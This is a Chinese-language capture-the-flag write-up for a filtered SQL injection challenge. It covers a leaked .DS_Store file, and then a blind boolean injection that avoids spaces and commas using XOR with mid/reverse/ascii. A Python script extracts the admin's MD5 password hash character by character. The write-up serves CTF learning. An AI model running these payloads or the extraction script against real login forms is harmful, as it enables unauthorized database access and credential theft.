sql注入2
题目描述
全都tm过滤了绝望吗?提示 !,!=,=,+,-,^,%
解题过程
非预期解
-
先用御剑扫一发

发现了
.DS_Store文件,这是个mac里的文件夹属性文件 -
下载 打开

可以看到目录下的一些文件/文件夹,里面有flag
-
直接访问
/flag获取到flag = =
正经的做一遍
-
因为之前测过,知道
admin账号是存在的,用admin+ 任意密码登录,burp抓包
然后随手输入了
admin / asd,结果登进去了!!!可以看到的返回包直接跳转到了admin页面。。。(登陆成功302)然后
ls,得到flag,我清掉cookie又去试了好多次,都不行,很奇怪
真·正经地做一遍
-
分析
题目给了提示,只有那么几个符号可以用,测试了一下空格和逗号也用不了,和前几天t-star的sql题有点像,推测是同表注入
-
测注入点


可以看到,内容为真的时候,返回为
username error,内容为假的时候,返回为password error -
测字段 + 字段长度
最后测出字段名为
passwd长度为32(猜测是md5)payload:
admin'^(length(passwd)>0)^' -
爆数据
不使用空格和逗号的注入,构造payload:
(ascii(mid((reverse(mid((passwd)from(%d))))from(-1))))=%d原理:
# 假设 passwd = asdfghj mid((passwd)from(1)) # 从第1位开始截取 asdfghj reverse(mid((passwd)from(1))) # 逆序 jhgfdsa mid((reverse(mid((passwd)from(1))))from(-1)) # 取最后一位 a写个脚本跑一下:
import requests url = 'http://123.206.87.240:8007/web2/login.php' length = 32 flag = '' for i in range(1, length + 1): print('[*] No.%d' % i, end='') for x in '1234567890abcdef': # md5使用16进制 s = requests.post(url=url, data={ 'uname': "admin'^(ascii(mid((reverse(mid((passwd)from(%d))))from(-1)))=%d)^'" % (i, ord(x)), 'passwd': "asd" }) if 'username error' in s.text: flag += x print(' success') break print(flag)跑出来之后去somd5解密,密码是admin123,然后 登录 -> ls -> 拿到flag